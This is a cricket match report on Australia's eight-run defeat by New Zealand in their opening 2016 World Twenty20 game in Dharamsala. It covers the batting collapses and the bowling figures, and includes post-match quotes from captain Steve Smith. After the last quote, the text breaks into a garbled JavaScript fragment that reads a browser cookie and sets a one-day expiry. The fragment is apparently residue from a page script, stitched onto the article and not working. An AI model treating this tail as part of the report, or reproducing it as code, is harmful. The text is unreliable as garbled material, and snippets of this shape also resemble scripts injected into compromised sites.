DHARAMSALA, INDIA - MARCH 18: Steve Smith of Australia looks dejected after being dismissed by Mitchell Santner of New Zealand during the ICC World Twenty20 India 2016 Super 10s Group 2 match between Australia and New Zealand at HPCA Stadium on March 18, 2016 in Dharamsala, India. (Photo by Ryan Pierse/Getty Images,)

The Aussies have lost their opening World T20 match to New Zealand by eight runs, after a disastrous collapse in Dharamsala overnight.

Australia looked set to reign in the Black Caps' target of 143, with Usman Khawaja smashing 38 off 27, as he shared in a 44 run stand with Shane Watson in the opening five overs. But from there, in almost a carbon copy of New Zealand's innings, the runs dried up.

Only three other batsmen scored double figures, as Australia suffered two mini collapses.

Australia lost 3-15 after Watson departed for 13, with Smith (6) and Warner (6) falling cheaply.

Khawaja's wicket appeared to be the turning point, with the star of this year's BBL looking in control before being run out to make it 3-63.

Glenn Maxwell (22) and Mitch Marsh (24) then looked reassert Australia's momentum, but after a 34 run partnership, another collapse ensued.

Ashton Agar (9), James Faulkner (2) and Nathan Coulter-Nile (1) all fell cheaply in the hunt for quick runs, but it was not enough.

McClenaghan claimed three wickets, while Santner and Anderson took two each.

Earlier, New Zealand got off to an absolute flyer, belting 61 of the first seven overs, including 18 off one Agar over. However, Maxwell and Faulkner took four wickets between them to stem the flow of runs and restrict the Kiwis to 8-142.

The loss leaves Australia with a mountain to climb to qualify for the semifinals, needing to win the next three matches to guarantee progression to the next stage, while New Zealand are undefeated after two matches.

But captain Steve Smith says his side is still confident Australia can finish in the top two of the group.

“We’re still confident,” said Smith.

“We’ve obviously got to turn it around very quickly, with our next game at Bangalore. But I’m confident in the group that we’ve got, that we can do it. Hopefully we come out and win in a couple of days’ time.

“I think it’s just about going out there and making sure that we learn from our mistakes from this game. I think the way we play; we can win and lose games in the 7-15 overs. I think we saw that in the games we played over in South Africa.

“We batted really well in those periods and we were able to win games, so we need to adopt the same things here.” "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}